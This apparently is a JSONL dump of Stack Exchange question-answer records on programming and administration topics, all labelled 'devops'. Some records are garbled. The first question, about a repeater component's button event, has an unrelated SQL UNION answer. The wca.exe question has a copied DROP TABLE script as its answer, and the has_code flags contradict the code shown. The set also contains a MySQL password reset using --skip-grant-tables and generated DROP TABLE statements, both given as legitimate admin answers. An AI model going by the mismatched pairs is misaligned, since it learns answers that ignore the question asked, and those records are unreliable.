{"id": "hf_5eb72b485e11", "question": "<p>I wrote a component that displays a filename, a thumbnail and has a button to load/play the file. The component is databound to a repeater. How can I make it so that the button event fires to the main application and tells it which file to play?</p>\n", "question_body": "", "answer": "Can you do it as a subselect, something like\n```\n```\nSELECT * FROM (\n    SELECT A,B,C FROM table WHERE field LIKE 'query%'\n    UNION\n    SELECT A,B,C FROM table WHERE field LIKE '%query'\n    UNION\n    SELECT A,B,C FROM table WHERE field LIKE '%query%'\n) ORDER BY B ASC LIMIT 5\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.628065"}
{"id": "hf_d369eb471b76", "question": "<p>I have a simple setter method for a property and <code>null</code> is not appropriate for this particular property. I have always been torn in this situation: should I throw an <a href=\"http://docs.oracle.com/javase/7/docs/api/java/lang/IllegalArgumentException.html\" rel=\"noreferrer\"><code>IllegalArgumentException</code></a>, or a <a href=\"http://docs.oracle.com/javase/7/docs/api/java/lang/NullPointerException.html\" rel=\"noreferrer\"><code>NullPointerException</code></a>? From the javadocs, both seem appropriate. Is there some kind of an understood standard?  Or is this just one of those things that you should do whatever you prefer and both are really correct?</p>\n", "question_body": "", "answer": "It seems like an\n```\nIllegalArgumentException\n```\nis called for if you don't want\n```\nnull\n```\nto be an allowed value, and the\n```\nNullPointerException\n```\nwould be thrown if you were trying to\nuse\na variable that turns out to be\n```\nnull\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.688216"}
{"id": "hf_cce9d93fb678", "question": "<p>What is the best way to support multiple languages for the interface in an ASP.NET MVC application? I've seen people use resource files for other applications. Is this still the best way?</p>\n", "question_body": "", "answer": "Yes resources are still the best way to support multiple languages in the .NET environment.  Because they are easy to reference and even easier to add new languages.\n```\n```\nSite.resx\nSite.en.resx\nSite.en-US.resx\nSite.fr.resx\netc...\n```\n```\nSo you are right still use the resource files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.840750"}
{"id": "hf_8e57379bd667", "question": "<p>I'm trying to convince my providers to use ANT instead of Rational Application Development so anyone can recompile, recheck, redeploy the solution anyplace, anytime, anyhow. :P</p>\n\n<p>I started a build.xml for a project that generates a JAR file but stopped there and I need real examples to compare notes. My good friends! I don't have anyone close to chat about this! </p>\n\n<p>This is my <a href=\"http://pastebin.ca/1094382\" rel=\"noreferrer\">build.xml</a> so far. </p>\n\n<p><i>(*) I edited my question based in the <a href=\"https://stackoverflow.com/questions/4046/can-someone-give-me-a-working-example-of-a-buildxml-for-an-ear-that-deploys-in-#4298\">suggestion</a> of to use pastebin.ca</i></p>\n", "question_body": "", "answer": "My Environment: Fedora 8; WAS 6.1 (as installed with Rational Application Developer 7)\nThe documentation is very poor in this area and there is a dearth of practical examples.\nUsing the WebSphere Application Server (WAS) Ant tasks\nTo run as described here, you need to run them from your server\nprofile\nbin directory using the\nws_ant.sh\nor\nws_ant.bat\ncommands.\n```\n```\n<?xml version=\"1.0\"?>\n<project name=\"project\" default=\"wasListApps\" basedir=\".\">\n    <description>\n        Script for listing installed apps.\n        Example run from:\n        /opt/IBM/SDP70/runtimes/base_v61/profiles/AppSrv01/bin\n    </description>\n\n    <property name=\"was_home\"\n        value=\"/opt/IBM/SDP70/runtimes/base_v61/\">\n    </property>\n    <path id=\"was.runtime\">\n        <fileset dir=\"${was_home}/lib\">\n            <include name=\"**/*.jar\" />\n        </fileset>\n        <fileset dir=\"${was_home}/plugins\">\n            <include name=\"**/*.jar\" />\n        </fileset>\n    </path>\n    <property name=\"was_cp\" value=\"${toString:was.runtime}\"></property>\n    <property environment=\"env\"></property>\n\n    <target name=\"wasListApps\">\n        <taskdef name=\"wsListApp\"\n            classname=\"com.ibm.websphere.ant.tasks.ListApplications\"\n            classpath=\"${was_cp}\">\n        </taskdef>\n        <wsListApp wasHome=\"${was_home}\" />\n    </target>\n\n</project>\n```\n```\nCommand:\n```\n```\n./ws_ant.sh -buildfile ~/IBM/rationalsdp7.0/workspace/mywebappDeploy/applist.xml\n```\n```\nA Deployment Script\n```\n```\n<?xml version=\"1.0\"?>\n<project name=\"project\" default=\"default\" basedir=\".\">\n<description>\nBuild/Deploy an EAR to WebSphere Application Server 6.1\n</description>\n\n    <property name=\"was_home\" value=\"/opt/IBM/SDP70/runtimes/base_v61/\" />\n    <path id=\"was.runtime\">\n        <fileset dir=\"${was_home}/lib\">\n            <include name=\"**/*.jar\" />\n        </fileset>\n        <fileset dir=\"${was_home}/plugins\">\n            <include name=\"**/*.jar\" />\n        </fileset>\n    </path>\n    <property name=\"was_cp\" value=\"${toString:was.runtime}\" />\n    <property environment=\"env\" />\n    <property name=\"ear\" value=\"${env.HOME}/IBM/rationalsdp7.0/workspace/mywebappDeploy/mywebappEAR.ear\" />\n\n    <target name=\"default\" depends=\"deployEar\">\n    </target>\n\n    <target name=\"generateWar\" depends=\"compileWarClasses\">\n        <jar destfile=\"mywebapp.war\">\n            <fileset dir=\"../mywebapp/WebContent\">\n            </fileset>\n        </jar>\n    </target>\n\n    <target name=\"compileWarClasses\">\n        <echo message=\"was_cp=${was_cp}\" />\n        <javac srcdir=\"../mywebapp/src\" destdir=\"../mywebapp/WebContent/WEB-INF/classes\" classpath=\"${was_cp}\">\n        </javac>\n    </target>\n\n    <target name=\"generateEar\" depends=\"generateWar\">\n        <mkdir dir=\"./earbin/META-INF\"/>\n        <move file=\"mywebapp.war\" todir=\"./earbin\" />\n        <copy file=\"../mywebappEAR/META-INF/application.xml\" todir=\"./earbin/META-INF\" />\n        <jar destfile=\"${ear}\">\n            <fileset dir=\"./earbin\" />\n        </jar>\n    </target>\n\n    <!-- http://publib.boulder.ibm.com/infocenter/wasinfo/v6r1/index.jsp?topic=/com.ibm.websphere.javadoc.doc/public_html/api/com/ibm/websphere/ant/tasks/package-summary.html -->\n    <target name=\"deployEar\" depends=\"generateEar\">\n        <taskdef name=\"wsInstallApp\" classname=\"com.ibm.websphere.ant.tasks.InstallApplication\" classpath=\"${was_cp}\"/>\n        <wsInstallApp ear=\"${ear}\" \n            failonerror=\"true\" \n            debug=\"true\" \n            taskname=\"\"\n            washome=\"${was_home}\" />\n    </target>\n\n</project>\n```\n```\nNotes:\nYou can only run this once! You cannot install if the app name is in use - see other tasks like\nwsUninstallApp\nIt probably won't start the app either\nYou need to run this on the server and the script is quite fragile\nAlternatives\nI would probably use Java Management Extensions (JMX). You could write a file-upload servlet that accepts an EAR and uses the deployment MBeans to deploy the EAR on the server. You would just POST the file over HTTP. This would avoid any WAS API dependencies on your dev/build machine and could be independent of any one project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.864935"}
{"id": "hf_199236b1eaa4", "question": "<p>In <code>C</code> can I <strong>pass a multidimensional array</strong> to a function <strong>as a single argument</strong> when I don't know what the dimensions of the array are going to be?</p>\n\n<p>Besides, my multidimensional array may contain types other than strings.</p>\n", "question_body": "", "answer": "You can do this with any data type. Simply make it a pointer-to-pointer:\n```\n```\ntypedef struct {\n  int myint;\n  char* mystring;\n} data;\n\ndata** array;\n```\n```\nBut don't forget you still have to malloc the variable, and it does get a bit complex:\n```\n```\n//initialize\nint x,y,w,h;\nw = 10; //width of array\nh = 20; //height of array\n\n//malloc the 'y' dimension\narray = malloc(sizeof(data*) * h);\n\n//iterate over 'y' dimension\nfor(y=0;y<h;y++){\n  //malloc the 'x' dimension\n  array[y] = malloc(sizeof(data) * w);\n\n  //iterate over the 'x' dimension\n  for(x=0;x<w;x++){\n    //malloc the string in the data structure\n    array[y][x].mystring = malloc(50); //50 chars\n\n    //initialize\n    array[y][x].myint = 6;\n    strcpy(array[y][x].mystring, \"w00t\");\n  }\n}\n```\n```\nThe code to deallocate the structure looks similar - don't forget to call free() on everything you malloced! (Also, in robust applications you should\ncheck the return of malloc()\n.)\nNow let's say you want to pass this to a function. You can still use the double pointer, because you probably want to do manipulations on the data structure, not the pointer to pointers of data structures:\n```\n```\nint whatsMyInt(data** arrayPtr, int x, int y){\n  return arrayPtr[y][x].myint;\n}\n```\n```\nCall this function with:\n```\n```\nprintf(\"My int is %d.\\n\", whatsMyInt(array, 2, 4));\n```\n```\nOutput:\n```\n```\nMy int is 6.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.891266"}
{"id": "hf_742db3c0e78a", "question": "<p>What is the best SVN Ignore Pattern should TortoiseSVN have for a VB.NET solution?</p>\n", "question_body": "", "answer": "this is what I use for C# w/resharper, should work just the same with vb.net:\n```\n```\nbuild deploy */bin  */bin/* obj *.dll *.pdb *.user *.suo _ReSharper*  *.resharper* bin\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.975551"}
{"id": "hf_b5399ee213b0", "question": "<p>I have an application that writes information to file. This information is used post-execution to determine pass/failure/correctness of the application. I'd like to be able to read the file as it is being written so that I can do these pass/failure/correctness checks in real time.</p>\n\n<p>I assume it is possible to do this, but what are the gotcha's involved when using Java? If the reading catches up to the writing, will it just wait for more writes up until the file is closed, or will the read throw an exception at this point? If the latter, what do I do then? </p>\n\n<p>My intuition is currently pushing me towards BufferedStreams. Is this the way to go?</p>\n", "question_body": "", "answer": "Not Java per-se, but you may run into issues where you have written something to a file, but it hasn't been actually written yet - it might be in a cache somewhere, and reading from the same file may not actually give you the new information.\nShort version - use flush() or whatever the relevant system call is to ensure that your data is actually written to the file.\nNote I am not talking about the OS level disk cache - if your data gets into here, it should appear in a read() after this point.  It may be that the language itself caches writes, waiting until a buffer fills up or file is flushed/closed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:28.999291"}
{"id": "hf_b7855fb97240", "question": "<p>I need to learn ADO.NET to build applications based on MS Office. I have read a good deal about ADO.NET in the MSDN Library, but everything seems rather messy to me.</p>\n\n<p>What are the basics one must figure out when using ADO.NET? I think a few key words will suffice to let me organize my learning.</p>\n", "question_body": "", "answer": "There are three key components (assuming ur using SQL server):\n```\nSQLConnection\n```\n```\nSqlCommand\n```\n```\nSqlDataReader\n```\n(if you're using something else, replace\n```\nSql\n```\nwith \"Something\", like\n```\nMySqlConnection\n```\n,\n```\nOracleCommand\n```\n)\nEverything else is just built on top of that.\nExample 1:\n```\n```\nusing (SqlConnection connection = new SqlConnection(\"CONNECTION STRING\"))\nusing (SqlCommand command = new SqlCommand())\n{\n  command.commandText = \"SELECT Name FROM Users WHERE Status = @OnlineStatus\";\n  command.Connection = connection;\n  command.Parameters.Add(\"@OnlineStatus\", SqlDbType.Int).Value = 1; //replace with enum\n  connection.Open();\n\n  using (SqlDataReader dr = command.ExecuteReader))\n  {\n      List<string> onlineUsers = new List<string>();\n\n      while (dr.Read())\n      {\n         onlineUsers.Add(dr.GetString(0));\n      }\n  }\n}\n```\n```\nExample 2:\n```\n```\nusing (SqlConnection connection = new SqlConnection(\"CONNECTION STRING\"))\nusing (SqlCommand command = new SqlCommand())\n{\n  command.commandText = \"DELETE FROM Users where Email = @Email\";\n  command.Connection = connection;\n  command.Parameters.Add(\"@Email\", SqlDbType.VarChar, 100).Value = \"user@host.com\";\n  connection.Open();\n  command.ExecuteNonQuery();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.070301"}
{"id": "hf_4df776478736", "question": "<p>A few months back my team switched our source control over to <a href=\"http://subversion.apache.org/\" rel=\"noreferrer\">Apache Subversion</a> from <a href=\"http://msdn.microsoft.com/en-us/vs2005/aa718670.aspx\" rel=\"noreferrer\">Visual SourceSafe</a>, and we haven't been happier.  </p>\n\n<p>Recently I've been looking at <a href=\"http://tfspreview.com/\" rel=\"noreferrer\">Team Foundation Server</a>, and at least on the surface, it seems very impressive.  There is some great integration with Visual Studio, and lots of great tools for DBAs, testers, project managers, etc.</p>\n\n<p>The most obvious difference between these two products is price.  It's hard to beat Apache Subversion (free).  Team Foundation Server is quite expensive, so the extra features would really have to kick Subversion in the pants.</p>\n\n<ul>\n<li>Does anyone have practical experience with both?  </li>\n<li>How do they compare?</li>\n<li>Is Team Foundation Server actually worth the expense?</li>\n</ul>\n", "question_body": "", "answer": "I joined an Open Source project over at CodePlex, recently. They use TFS for their source control and I have to say that it's absolutely magnificent. I'm incredibly impressed with it, so far. I'm a huge fan of the IDE integration and how easy it is to branch and tag your code. Adding a solution to source control is something like two clicks, if you've already got everything configured properly.\nNow. Is it worth the hefty price tag? I don't think so. The benefit to working on projects at CodePlex is it lets me get the experience with TFS that I need, in the event that I have to use it somewhere later. If you want good IDE integration for your Source Control, go grab\nVisualSVN\nintegration package. It's a much, much cheaper investment to get a lot of the same features (free on non-domain computers BTW).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.107567"}
{"id": "hf_04b90e65bd57", "question": "<p>I'd like to use a <code>LinqDataSource</code> control on a page and limit the amount of records returned.  I know if I use code behind I could do something like this:</p>\n\n<pre><code>IEnumerable&lt;int&gt; values = Enumerable.Range(0, 10);\nIEnumerable&lt;int&gt; take3 = values.Take(3);\n</code></pre>\n\n<p>Does anyone know if something like this is possible with a <code>LinqDataSource</code> control?</p>\n\n<p><strong>[Update]</strong></p>\n\n<p>I'm going to use the <code>LinqDataSource</code> with the <code>ListView</code> control, <em>not</em> a GridView or Repeater.  The <code>LinqDataSource</code> wizard does not provide the ability to limit the number of records return.  The Advanced options only allow you to enabled deletes, inserts, and updates.</p>\n", "question_body": "", "answer": "I know that if you use a paging repeater or gridview with the linqdatasource it will automatically optimize the number of results returned, but I'm also pretty sure in the datasource wizard you can go to advanced options and limit it to\n```\n```\nSELECT TOP 3 FROM\n```\n```\nwhich should allow you to do what you need", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.131696"}
{"id": "hf_68909a34efcc", "question": "<p>I'm using a <code>Dictionary&lt;string, int&gt;</code> where the <code>int</code> is a count of the key.</p>\n\n<p>Now, I need to access the last-inserted Key inside the Dictionary, but I do not know the name of it. The obvious attempt:</p>\n\n<pre><code>int LastCount = mydict[mydict.keys[mydict.keys.Count]];\n</code></pre>\n\n<p>does not work, because <code>Dictionary.Keys</code> does not implement a []-indexer.</p>\n\n<p>I just wonder if there is any similar class? I thought about using a Stack, but that only stores a string. I could now create my own struct and then use a <code>Stack&lt;MyStruct&gt;</code>, but I wonder if there is another alternative, essentially a Dictionary that implements an []-indexer on the Keys?</p>\n", "question_body": "", "answer": "You could always do this:\n```\n```\nstring[] temp = new string[mydict.count];\nmydict.Keys.CopyTo(temp, 0)\nint LastCount = mydict[temp[mydict.count - 1]]\n```\n```\nBut I wouldn't recommend it. There's no guarantee that the last inserted key will be at the end of the array. The ordering for Keys\non MSDN\nis unspecified, and subject to change. In my very brief test, it does seem to be in order of insertion, but you'd be better off building in proper bookkeeping like a stack--as you suggest (though I don't see the need of a struct based on your other statements)--or single variable cache if you just need to know the latest key.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.167841"}
{"id": "hf_7529aee20455", "question": "<p>I've been doing ASP.NET development for a little while now, and I've used both the GridView and the DataGrid controls before for various things, but I never could find a really good reason to use one or the other. I'd like to know:</p>\n\n<p>What is the difference between these 2 ASP.NET controls? What are the advantages or disadvantages of both? Is one any faster? Newer? Easier to maintain?</p>\n\n<p>The intellisense summary for the controls doesn't seem to describe any difference between the two. They both can view, edit, and sort data and automatically generate columns at runtime.</p>\n\n<p><strong>Edit:</strong> Visual Studio 2008 no longer lists DataGrid as an available control in the toolbox. It is still available (for legacy support I assume) if you type it in by hand though.</p>\n", "question_body": "", "answer": "The DataGrid was originally in .NET 1.0.  The GridView was introduced (and replaced the DataGrid) in .NET 2.0.  They provide nearly identical functionality.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.192318"}
{"id": "hf_baf7410eeb0a", "question": "<p>I want to convert a primitive to a string, and I tried:</p>\n\n<pre><code>myInt.toString();\n</code></pre>\n\n<p>This fails with the error:</p>\n\n<pre><code>int cannot be dereferenced\n</code></pre>\n\n<p>Now, I get that primitives are not reference types (ie, not an Object) and so cannot have methods.  However, Java 5 introduced autoboxing and unboxing (a la C#... which I never liked in C#, but that's beside the point).  So with autoboxing, I would expect the above to convert myInt to an Integer and then call toString() on that.</p>\n\n<p>Furthermore, I believe C# allows such a call, unless I remember incorrectly.  Is this just an unfortunate shortcoming of Java's autoboxing/unboxing specification, or is there a good reason for this?</p>\n", "question_body": "", "answer": "Java autoboxing/unboxing doesn't go to the extent to allow you to dereference a primitive, so your compiler prevents it. Your compiler still knows\n```\nmyInt\n```\nas a primitive.  There's a paper about this issue at\njcp.org\n.\nAutoboxing is mainly useful during assignment or parameter passing -- allowing you to pass a primitive as an object (or vice versa), or assign a primitive to an object (or vice versa).\nSo unfortunately, you would have to do it like this: (kudos Patrick, I switched to your way)\n```\n```\nInteger.toString(myInt);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.231979"}
{"id": "hf_c0ed517a8fcc", "question": "<p>I have a process in erlang that is supposed to do something immediately after spawn, then send the result back to the parent when it is finished.  How do I figure out the PID of the process that spawned it?</p>\n", "question_body": "", "answer": "You should pass self() to the child as one of the arguments to the entry function.\n```\n```\nspawn_link(?MODULE, child, [self()]).\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.280600"}
{"id": "hf_10c7df30d7b5", "question": "<p>I am working on a project that requires the manipulation of enormous matrices, specifically pyramidal summation for a copula calculation.  </p>\n\n<p>In short, I need to keep track of a relatively small number of values (usually a value of 1, and in rare cases more than 1) in a sea of zeros in the matrix (multidimensional array).  </p>\n\n<p>A sparse array allows the user to store a small number of values, and assume all undefined records to be a preset value.  Since it is not physically possibly to store all values in memory, I need to store only the few non-zero elements. This could be several million entries.</p>\n\n<p>Speed is a huge priority, and I would also like to dynamically choose the number of variables in the class at runtime.</p>\n\n<p>I currently work on a system that uses a binary search tree (b-tree) to store entries. Does anyone know of a better system?</p>\n", "question_body": "", "answer": "For C++, a map works well.  Several million objects won't be a problem.  10 million items took about 4.4 seconds and about 57 meg on my computer.\nMy test application is as follows:\n```\n```\n#include <stdio.h>\n#include <stdlib.h>\n#include <map>\n\nclass triple {\npublic:\n    int x;\n    int y;\n    int z;\n    bool operator<(const triple &other) const {\n        if (x < other.x) return true;\n        if (other.x < x) return false;\n        if (y < other.y) return true;\n        if (other.y < y) return false;\n        return z < other.z;\n    }\n};\n\nint main(int, char**)\n{\n    std::map<triple,int> data;\n    triple point;\n    int i;\n\n    for (i = 0; i < 10000000; ++i) {\n        point.x = rand();\n        point.y = rand();\n        point.z = rand();\n        //printf(\"%d %d %d %d\\n\", i, point.x, point.y, point.z);\n        data[point] = i;\n    }\n    return 0;\n}\n```\n```\nNow to dynamically choose the number of variables, the easiest solution is to represent\nindex as a string\n, and then use string as a key for the map. For instance, an item located at [23][55] can be represented via \"23,55\" string. We can also extend this solution for higher dimensions; such as for three dimensions an arbitrary index  will look like \"34,45,56\". A simple implementation of this technique is as follows:\n```\n```\nstd::map data<string,int> data;\nchar ix[100];\n\nsprintf(ix, \"%d,%d\", x, y); // 2 vars\ndata[ix] = i;\n\nsprintf(ix, \"%d,%d,%d\", x, y, z); // 3 vars\ndata[ix] = i;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.330335"}
{"id": "hf_101596f41523", "question": "<p>Is it \"acceptable\" to have an <strong>ASP.Net 2.0</strong> application without the BLL (Business Logic Layer) as the following?</p>\n\n<ol>\n<li>SQL Server Data Storage &amp; Stored Procedures</li>\n<li>Data Link Layer (Strongly Typed Table Adapters) connecting to Stored Procs</li>\n<li>Presentation Layer ASPX Pages with Code behind and ObjectDataSource for connection straight to the DLL</li>\n</ol>\n\n<p>Is a BLL always preferable, even if business logic is entirely validatable in the presentation's code behind?  What are the potential drawbacks for not using a BLL?</p>\n", "question_body": "", "answer": "Like everything else it is environmental and depends on the use of the system.  The question you need to ask your self is:\nWill this be actively developed\nIs this going to be used over the course of many years and expanded on\nIs the expansion of the application unknown and thus infinite\nReally it comes down to laziness.  How much time to do you want to spend reworking the system from the UI?  Because having no business layer means duplication of rules in your UI across possibility many many pages.\nThen again if this is a proof of concept or short demo or class project.  Take the easy way out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.373483"}
{"id": "hf_c702e52492b2", "question": "<p>Any suggestions?  Using visual studio in C#.</p>\n<p>Are there any specific tools to use or methods to approach this?</p>\n<h3>Update:</h3>\n<p>Sorry, I should have been a little more specific. I am using ASP.Net 2.0 and was looking more for a tool like jUnit for Java. I took a look at NUnit and NUnitAsp and that looks very promising. And I didn't even know that Visual Studio Pro has a testing suite, so I'll look at all of these options (I've just started using Visual Studio/Asp.net/C# this summer).</p>\n", "question_body": "", "answer": "Boy, that's a pretty general question.  I'll do my best, but be prepared to see me miss by a mile.\nAssumptions\nYou are using ASP.NET, not plain ASP\nYou don't really want to test your web pages, but the\nlogic\nbehind them. Unit testing the actual .ASPX pages is rather painful, but there are frameworks out there to do it.\nNUnitAsp\nis one.\nThe first thing to do is to organize (or plan) your code so that it can be tested.  The two most popular design patterns for this at the time seem to be MVP and MVC.  Both separate the\nlogic\nof the application away from the\nview\nso that you can test the logic without the view (web pages) getting in your way.\nEither MVP or MVC will be effective.  MVC has the advantage of having a Microsoft framework\nalmost ready to go\n.\nOnce you've selected a framework pattern that encourages testability, you need to use a unit testing tool.\nNUnit\nis a good starting point.  Visual Studio Professional has a\ntesting suite built it\n, but NUnit +\nTestDrive.NET\nalso works in the IDE.\nThat's sort of a shotgun blast of information.  I hope some if it hits.  The Pragmatic Bookshelf has a\ngood book covering the topic\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.422132"}
{"id": "hf_0d4ed5d4bb7e", "question": "<p>I lost my MySQL username and password. How do I retrieve it?</p>\n", "question_body": "", "answer": "Stop the MySQL process.\nStart the MySQL process with the --skip-grant-tables option.\nStart the MySQL console client with the -u root option.\nList all the users;\n```\n```\nSELECT * FROM mysql.user;\n```\n```\nReset password;\n```\n```\nUPDATE mysql.user SET Password=PASSWORD('[password]') WHERE User='[username]';\n```\n```\nBut\nDO NOT FORGET\nto\nStop the MySQL process\nStart the MySQL Process normally (i.e. without the --skip-grant-tables option)\nwhen you are finished.  Otherwise, your database's security could be compromised.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.459818"}
{"id": "hf_5a3c20e6e983", "question": "<p>How can I drop all tables whose names begin with a given string? </p>\n\n<p>I think this can be done with some dynamic SQL and the <code>INFORMATION_SCHEMA</code> tables.</p>\n", "question_body": "", "answer": "```\n```\nSELECT 'DROP TABLE \"' + TABLE_NAME + '\"' \nFROM INFORMATION_SCHEMA.TABLES \nWHERE TABLE_NAME LIKE '[prefix]%'\n```\n```\nThis will generate a script.\nAdding clause to check existence of table before deleting:\n```\n```\nSELECT 'IF OBJECT_ID(''' +TABLE_NAME + ''') IS NOT NULL BEGIN DROP TABLE [' + TABLE_NAME + '] END;' \nFROM INFORMATION_SCHEMA.TABLES \nWHERE TABLE_NAME LIKE '[prefix]%'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.484856"}
{"id": "hf_f566206617af", "question": "<p>I am walking through the MS Press Windows Workflow Step-by-Step book and in chapter 8 it mentions a tool with the filename \"wca.exe\".  This is supposed to be able to generate workflow communication helper classes based on an interface you provide it.  I can't find that file.  I thought it would be in the latest .NET 3.5 SDK, but I just downloaded and fully installed, and it's not there.  Also, some MSDN forum posts had links posted that just go to 404s.  So, where can I find wca.exe?</p>\n", "question_body": "", "answer": "```\n```\nSELECT 'DROP TABLE \"' + TABLE_NAME + '\"' \nFROM INFORMATION_SCHEMA.TABLES \nWHERE TABLE_NAME LIKE '[prefix]%'\n```\n```\nThis will generate a script.\nAdding clause to check existence of table before deleting:\n```\n```\nSELECT 'IF OBJECT_ID(''' +TABLE_NAME + ''') IS NOT NULL BEGIN DROP TABLE [' + TABLE_NAME + '] END;' \nFROM INFORMATION_SCHEMA.TABLES \nWHERE TABLE_NAME LIKE '[prefix]%'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.509095"}
{"id": "hf_aad5ac1cf84f", "question": "<p>The firewall I'm behind is running Microsoft ISA server in NTLM-only mode. Hash anyone have success getting their Ruby gems to install/update via Ruby SSPI gem or other method?</p>\n\n<p>... or am I just being lazy?</p>\n\n<p>Note: rubysspi-1.2.4 does not work.</p>\n\n<p>This also works for \"igem\", part of the IronRuby project</p>\n", "question_body": "", "answer": "A workaround is to install\nhttp://web.archive.org/web/20060913093359/http://apserver.sourceforge.net:80/\non your local machine, configure it and run gems through this proxy.\nInstall: Just download apserver 097 (and not the experimental 098!) and unpack.\nConfigure: Edit the server.cfg file and put the values for your MS proxy in\n```\nPARENT_PROXY\n```\nand\n```\nPARENT_PROXY_PORT\n```\n. Enter the values for DOMAIN and USER. Leave PASSWORD blank (nothing after the colon) – you will be prompted when launching it.\nRun apserver:\n```\ncd aps097; python main.py\n```\nRun Gems:\n```\ngem install—http-proxy http://localhost:5865/ library\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:29.540933"}
